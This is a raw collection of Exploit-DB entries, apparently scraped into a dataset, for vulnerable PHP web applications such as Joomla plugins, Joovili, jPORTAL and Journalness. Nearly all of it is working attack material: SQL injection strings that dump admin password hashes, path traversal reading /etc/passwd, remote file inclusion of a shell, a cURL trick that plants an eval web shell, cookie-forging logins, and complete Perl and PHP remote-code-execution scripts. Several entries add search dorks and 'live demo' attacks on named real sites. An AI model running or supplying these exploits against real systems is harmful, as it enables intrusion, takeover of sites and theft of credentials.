deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17995
Description: Joomla! Plugin NoNumber Framework - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-18
Author: jdc

Exploit:
# Exploit Title: NoNumber Framework Joomla! Plugin Multiple Vulnerabilities
# Discovery Date: 10 October 2011
# Reported Date: 11 October 2011
# Patch Date: 17 October 2011
# Release Date: 17 October 2011
# Author: jdc
# Software Link: http://nonumber.nl

The nnframework plugin by NoNumber! contains multiple vulnerabilities. This plugin is shipped with all NoNumber extensions:

* Advanced Module Manager
* AdminBar Docker
* Add to Menu
* Articles Anywhere
* What? Nothing!
* Tooltips
* Tabber
* Sourcerer
* Slider
* Timed Styles
* Modules Anywhere
* Modalizer
* ReReplacer
* Snippets
* DB Replacer
* CustoMenu
* Content Templater
* CDN for Joomla!
* Cache Cleaner
* Better Preview

All vulnerable extensions have been patched as of 17 October 2011.



Local File Inclusion:
---------------------

index.php?nn_qp=1&file=[LFI]%00.inc.php

NOTE: the ending ".inc.php" is required.



Open Proxy/Open cURL/Shell Upload
---------------------------------

Using the following data structure, it is possible to pass arguments directly into cURL:

index.php
?nn_qp=1
&url=[REMOTE HOST]
&url_options[CURLOPT_POSTDATA]=[post data]

Whatever the plugin loads via cURL gets written out as data under the domain of the victim site.
This allows for REMOTE HOST to inject javascript that runs in the context of the victim domain.
It is also possible to gain remote access:

1. Set up a remote page that sets the following cookie:

<?eval(array_pop($_POST))?>=1

2. Force victim site to write a cookie file:

index.php
?nn_qp=1
&url=http://[evil site]
&url_options[CURLOPT_COOKIEJAR]=shell.php
&url_options[CURLOPT_COOKIEFILE]=shell.php

3. POST a single variable containing REAL shellcode to http://[victim]/shell.php
Exploit-DB #37714
Description: JoomShopping - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-07-29
Author: Mormoroth

Exploit:
# Exploit Title: [JoomShopping Blind Sql injection]
# Google Dork: [allinurl:"/modules/mod_jshopping_products_wfl/js/"]
# Date: [2015-07-24]
# Exploit Author: [Mormoroth]
# Vendor Homepage: [http://www.webdesigner-profi.de]
# Software Link: [http://www.webdesigner-profi.de/joomla-webdesign/joomla-shop/downloads.html]
# Version: [All] 
# Tested on: [Linux]
----------------------------
site/modules/mod_jshopping_products_wfl/js/settings.php?id=209 and 1=2-- a
----------------------------
Exploit-DB #35667
Description: Joostina (Multiple Components) - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-27
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47595/info

Multiple Joostina components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following components are vulnerable:

'com_frontpage' 1.3.0.4_stable
'com_users'

Other components may also be affected. 

http://www.example.com/[Path]/index.php?option=com_users&task=profile&user=11+AND+1=0
http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here]
Exploit-DB #35187
Description: Joostina 1.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-08
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/45732/info

Joostina is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Joostina versions 1.3.0 and prior are vulnerable. 

http://www.example.com/index.php?option=com_search&searchword=xss&ordering=%22%20onmouseover=alert(document.cookie)%20style=position:fixed;top:0;left:0;width:100%;height:100%;%22
Exploit-DB #31125
Description: Joovili 2.1 - 'members_help.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-08
Author: Cr@zy_King

Exploit:
source: https://www.securityfocus.com/bid/27693/info

Joovili is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Joovili 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/members_help.php?hlp=http://www.example2.com/shell.txt?
Exploit-DB #6595
Description: Joovili 3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-27
Author: ~!Dok_tOR!~

Exploit:
Joovili <= 3.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 27.08.08
Product: Joovili
Version: 3.0
Price: $155  
URL: www.joovili.com
Download script: http://rapidshare.com/files/96178834/Joovili.Patch.3.0.1__2.Themes.WST.rar.html
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

http://localhost/[installdir]/search.php

Search Music:

Exploit 1: 

'+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8+from+joovili_users/*

Exploit 2:

'+union+select+1,2,3,concat_ws(0x3a,admin_username,admin_password),5,6,7,8+from+joovili_admins/*


Exploit 1:

http://localhost/[installdir]/view.blog.php?id='+union+select+1,2,concat_ws(0x3a,username,password),user(),version(),6+from+joovili_users/*

Exploit 2:

http://localhost/[installdir]/view.blog.php?id='+union+select+1,2,concat_ws(0x3a,admin_username,admin_password),user(),version(),6+from+joovili_admins/*

Exploit 1:

http://localhost/[installdir]/view.event.php?id='+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15+from+joovili_users/*

Exploit 2:

http://localhost/[installdir]/view.event.php?id='+union+select+1,2,concat_ws(0x3a,admin_username,admin_password),4,5,6,7,8,9,10,11,12,13,14,15+from+joovili_admins/*


http://localhost/[installdir]/view.group.php?id='+union+select+1,2,user(),4,5,6,7,8,9/*
http://localhost/[installdir]/view.music.php?id='+union+select+1,2,3,version(),5,6,7,8/*
http://localhost/[installdir]/view.picture.php?id='+union+select+1,user(),3,4,5,6,7/*
http://localhost/[installdir]/view.video.php?id='+union+select+1,2,3,user(),5,6,7,8/*

# milw0rm.com [2008-09-27]
Exploit-DB #4799
Description: Joovili 3.0.6 - 'joovili.images.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-12-27
Author: EcHoLL

Exploit:
found by EcHoLL
version: 2.***
include/images.inc.php?picture=../../../../../../../../etc/passwd&thumbnail=FALSE
include/images.inc.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
version 3.**
joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
joovili.images.php?picture=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd&thumbnail=FALSE
 
 
demo
http://demo.joovili.com/include/joovili.images.php?picture=../../../../../../../..///etc/passwd&thumbnail=FALSE
dork: powered by joovili

# milw0rm.com [2007-12-27]
Exploit-DB #5520
Description: Joovili 3.1 - 'browse.videos.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-28
Author: HaCkeR_EgY

Exploit:
#####################################################
#                  [-Joovili-]         		    #
#        Rem0te SQL Injection Vulnerability 	    #
#           IN ==> browse.videos.php <==== 	    #
#####################################################
 
[<>]Author: HaCkeR-EgY
 
[<>]H^0mE: WWW.PAL-HACKER.COM , ATSDP.COM
 
[<>]CONTact: hacker_EGY@hotmail.com
================================================
[<>]Script : Joovili
[<>]version : Version 3.1.0
[<>]price :$155 USD
[<>]DOWNL0AD : www.joovili.com
================================================
[<>] D0RK : use your Mind (:
 
[<>] Explo!t :

[<>] 1 ====>http:hacker_egy/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,admin_username,admin_password),5,user(),7,8,9/**/from/**/joovili_admins/*

[<>] 2 =====>http://hacker_egy/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,id,username,password,email),5,user(),7,8,9/**/from/**/joovili_users/*

[<>] L!Ve DeM0 :
 
====>  http://demo.joovili.com/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,admin_username,admin_password),5,6,7,8,9/**/from/**/joovili_admins/*
 

[<>]N0te :::>> 1- Sometime  Requires to register
               &n bsp;      2- You can Find other Errors
=======================================================
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
[<>] Greetz : F!resell , Mohamed el Arab , MrExE , H-T Team [ HouSSaMix +
ToXiC350 ] , Gold_M , V4 Team , Jiki Team  , RoMaNcYxHaCkEr , stR0ke

# milw0rm.com [2008-04-28]
Exploit-DB #6955
Description: Joovili 3.1.4 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-02
Author: ZoRLu

Exploit:
[~] Joovili Script Insecure Cookie Handling Vulnerability
[~]
[~] version: 3.1.4 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 02.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] 
[~] N0T: a.q kpss : ) )
[~]
[~] ----------------------------------------------------------

demo admin login:

http://demo.joovili.com/admin

demo user login:

http://demo.joovili.com/

demo staff login:

http://demo.joovili.com/staff/


exploit for user:

javascript:document.cookie = "session_id=real_id; path=/"; document.cookie = "session_logged_in=true; path=/"; document.cookie = "session_username=real_user_name; path=/"; 


for demo user:

javascript:document.cookie = "session_id=304; path=/"; document.cookie = "session_logged_in=true; path=/"; document.cookie = "session_username=demo; path=/";

for demo admin:

javascript:document.cookie = "session_admin_id=1; path=/"; document.cookie = "session_admin_username=admin; path=/"; document.cookie = "session_admin=true; path=/";

for demo staff:

javascript:document.cookie = "session_staff_id=3; path=/"; document.cookie = "session_staff_username=staff; path=/"; document.cookie = "session_staff=true; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-02]
Exploit-DB #45338
Description: Jorani Leave Management 0.6.5 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-09-06
Author: Javier Olmedo

Exploit:
# Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-09-06
# Google Dork: N/A
# Vendor: Benjamin BALET
# Software Link: https://jorani.org/download.html
# Affected Version: 0.6.5 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-15917
  
# 1. Technical Description:
# Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through
# a GET request in which the values are stored in the user session.
  
# 2. Proof Of Concept (PoC):
# Go to http://localhost/session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-15917%27)%3C%2Fscript%3E&login=&CipheredValue=
 
# 3. Payload:
# en"><script>alert('PoC CVE-2018-15917')</script>

# 6. Reference:
# https://hackpuntes.com/cve-2018-15917-jorani-leave-management-system-0-6-5-cross-site-scripting-persistente/
# https://github.com/bbalet/jorani/issues/254
Exploit-DB #39128
Description: Jorjweb - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2014-02-21
Author: Vulnerability Laboratory

Exploit:
source: https://www.securityfocus.com/bid/66377/info

Jorjweb is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ajedrez47/Paginas/info_torneo.php?id=3852'[REMOTE SQL-INJECTION WEB VULNERABILITY!]--
Exploit-DB #5091
Description: Journalness 4.1 - 'last_module' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-02-09
Author: Iron

Exploit:
#!/usr/bin/perl
#
#	Vendor url: journalness.sourceforge.net
#
# note: exploit requires Register_globals = On in php.ini
#							~Iron
#							http://www.randombase.com
require LWP::UserAgent;

print "#
# Journalness <= 4.1 Remote Code Execution exploit
# By Iron - randombase.com
# Greets to everyone at RootShell Security Group & dHack
#
# Example target url: http://www.target.com/journalnessdir/
Target url?";
chomp($target=<stdin>);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
print "PHP code to evaluate? ";
chomp($code=<stdin>);
$code =~ s/(<\?php|\?>|<\?)//ig;
$target .= "includes/database/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};".$code."//";

$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;

$response = $ua->get($target);

if ($response->is_success)
{
	print "\n"."#" x 20 ."\n";
	print $response->content;
	print "\n"."#" x 20 ."\n";
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-02-09]
Exploit-DB #37641
Description: JPM Article Blog Script 6 - 'tid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-21
Author: Mr.0c3aN

Exploit:
source: https://www.securityfocus.com/bid/55112/info

JPM Article Blog Script 6 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/forum/index.php?tid=4â??></title><script>alert(Mr.0c3aN)</script>><marquee><h1>ocean</h1></marquee>
Exploit-DB #36970
Description: JPM Article Script 6 - 'page2' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-16
Author: Vulnerability Research Laboratory

Exploit:
source: https://www.securityfocus.com/bid/52528/info

JPM Article Script 6 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JPM Article Script 6 is vulnerable; other versions may also be affected.

http://www.example.com/blog/index.php?page2=-1%27&cid=0
Exploit-DB #6505
Description: jPORTAL 2 - 'humor.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-20
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#-QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE-DON-Outlawz        #
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com 
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title:  jPORTAL 2 (humor.php) SQL Injection
#
# VEndor: http://jportal2.com/
# 
#
###########################################################
#
# d0rk: intext:"jPORTAL 2" & inurl:"humor.php"
#
###########################################################
 
     POC 1:- 

        http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins--
	
    POC 2:- 

	http://www.site.com/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins--

  Table names may vary from jp2admins to admins 
     
     
     Live Demo: 
	
	http://www.domanski.pl/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+jp2admins--

	http://gimnazjum.webd.pl/humor.php?id=-1+union+all+select+1,concat(nick,0x3a,pass),3,4,5,6,7,8,9,10+from+admins--
 
    Admin panel: www.site.com/admin.php
 
###########################################################
#
#  Bug discovered : 21 Sep.2008
###########################################################

# milw0rm.com [2008-09-20]
Exploit-DB #4611
Description: jPORTAL 2 - 'mailer.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-06
Author: Kacper

Exploit:
Tytul: jPORTAL 2 Remote SQL Injection Vulnerability
dork:[ intext:"jPORTAL 2" & inurl:"mailer.php" ]

Autor: Kacper
E-Mail: kacper1964@yahoo.pl
Strona: devilteam.eu

Irc: irc.myg0t.com #devilteam

Blad:

mailer.php?to=[PII_REDACTED]99'+union+select+0,1,2,3,4,5,concat(nick,char(58),pass),7+from+admins+limit+1/*

po wykonaniu zapytania wystarczy zajrzec w xrodlo strony i poszukac:

<input type="hidden" name="cmd" value="sendmail"><input type="hidden" name="to" value="admin:9b3a80a898fabc984e733d904027cc91"></td>

value="admin:9b3a80a898fabc984e733d904027cc91" < ----/  to Twoj rezultat wykonania zapytania SQL.

be safe all  :) 

# milw0rm.com [2007-11-06]
Exploit-DB #24151
Description: jPORTAL 2.2.1 - 'print.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-05-28
Author: Maciek Wierciski

Exploit:
source: https://www.securityfocus.com/bid/10430/info

JPortal is reportedly affected by a remote SQL injection vulnerability in the print.inc.php script. This issue is due to a failure of the application to properly sanitize user-supplied URI input before using it in an SQL query.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue. 

http://www.example.com/print.php?what=article&id=X AND 1=0 UNION SELECT id,id,nick,pass,id,id,id,id,id from admins LIMIT 1
Exploit-DB #26868
Description: jPORTAL 2.2.1/2.3 Forum - 'forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: Zbigniew

Exploit:
source: https://www.securityfocus.com/bid/15925/info

JPortal Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/jportal/forum.php?cmd=search&word=Trey&where=author%20and%201=0%20union%20select%20null,null,nick,pass,null,
null,null,null,null,null,null,null,null,null,null,null%20from%20admins%20/*
Exploit-DB #26293
Description: jPORTAL 2.2.1/2.3.1 - 'download.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-21
Author: krasza

Exploit:
source: https://www.securityfocus.com/bid/14926/info

JPortal is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/*
Exploit-DB #4807
Description: jPORTAL 2.3.1 & UserPatch - 'forum.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2007-12-29
Author: irk4z

Exploit:
ï»¿<?php
#
# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit
#
# author: irk4z[at]yahoo.pl
#         http://irk4z.wordpress.com
#
#
# dorks: "powered by jPORTAL 2 & UserPatch"
#        "powered by jPORTAL 2"
#
# greetz: str0ke, wacky, polish under :*
#--------------------------------------------------------------------->

$host = $argv[1];
$path = $argv[2];
$phpcode = $argv[3];

$info = 
"\n#\n".
"# jPORTAL 2.3.1 & UserPatch (forum.php) Remote PHP Code Execution Exploit\n".
"#\n".
"# author: irk4z[at]yahoo.pl\n".
"#         http://irk4z.wordpress.com\n".
"#\n".
"#\n".
"# greetz: str0ke, wacky, polish under :*\n".
"#--------------------------------------------------------------------->\n";
echo $info;

if($argc<4){
	echo "# Obsluga: \n".
		 "#         php host path phpcode \n".
		 "#         php localhost /~jportal/ phpinfo(); \n".
		 "#         php localhost /~jportal/ \"system('uname -a');\" \n".
		 "#         php localhost /~jportal/ \"system('cat /etc/passwd');\"\n".
		 "#\n".		 
		 "# exploit c0ded by irk4z :D";
	die;
}

$data="do=".base64_encode(base64_decode('Z2xvYmFsICRkYl9ob3N0LCAkZGJfdXNlciwgJGRiX3Bhc3MsICRkYl9uYW1lLCAkcHJlZml4OyANCmVjaG8gIlwkZGJfaG9zdCA9ICckZGJfaG9zdCc7XG4iLg0KIlwkZGJfdXNlciA9ICckZGJfdXNlcic7XG4iLg0KIlwkZGJfcGFzcyA9ICckZGJfcGFzcyc7XG4iLg0KIlwkZGJfbmFtZSA9ICckZGJfbmFtZSc7XG4iLg0KIlwkcHJlZml4ID0gJyRwcmVmaXgnO1xuXG5QSFAgQ09ERSBFWEVDVVRJT04gUkVTVUxUOlxuIjs').$phpcode);

$packet = 
"POST {$path}forum.php?cmd=as_readed&category=18000/**/U%6EION/**/S%65LECT/**/1,2,0x223B6576616C[PII_REDACTED]36345F6465636F646528245F504F53545B27646F275D29293B6469653B24746D703D22/* HTTP/1.0\r\n".
"Host: {$host}\r\n".
"Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($data)."\r\n\r\n".$data;

$wynik = send($host, 80, $packet);
$tmp = strpos($wynik, '$db_host');
if (empty($tmp)){echo "\nWystapil blad :( Sprawdz poprawnosc danych wejsciowych..\n\n# exploit c0ded by irk4z :D"; }else{
	echo "\n";
	echo "KONFIGURACJA BAZY DANYCH:\n";
	echo substr($wynik, $tmp, strlen($wynik)-$tmp);
	echo "\n\n# exploit c0ded by irk4z :D";
}


function send($host, $port, $packet)
{
 $s = @fsockopen($host, $port);
 if (empty($s)) return;
 fputs($s, $packet); $retu ='';
 while(!feof($s)){$retu.=fgets($s);}
 fclose($s);
 return $retu;
}
?>

# milw0rm.com [2007-12-29]